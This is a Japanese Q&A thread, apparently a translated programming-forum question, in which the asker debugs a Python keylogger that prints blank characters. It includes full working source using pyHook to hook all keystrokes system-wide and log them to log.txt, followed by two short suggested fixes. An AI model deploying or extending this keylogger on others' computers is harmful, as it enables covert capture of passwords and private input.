私はキーロガーを書きましたが、正しく印刷されていません。イベントを印刷するように指示すると、ASCIIデコードされた(print(event.Ascii)
)、そのキーのAscii数値が出力されます。しかし、私がprint(chr(event.Ascii))
と言うと、空白の行だけが表示されます。これはなぜですか、どうすれば修正できますか?ASCIIのchr()は何も印刷しません
全コード:
import pyHook, pythoncom, sys, logging
file_log = "log.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
print(chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
'print(chr(int(event.Ascii)))'を試してください。 –
これはいくつかの進歩を追加します。私はEnterキー、スペースバー、Aキーを使ってテストしましたが、小さな箱のような小さな箱が返されました:[] – doejs
'print(chr(int(str(event.Ascii))))) '。私はそれを前に示唆すべきだった。 –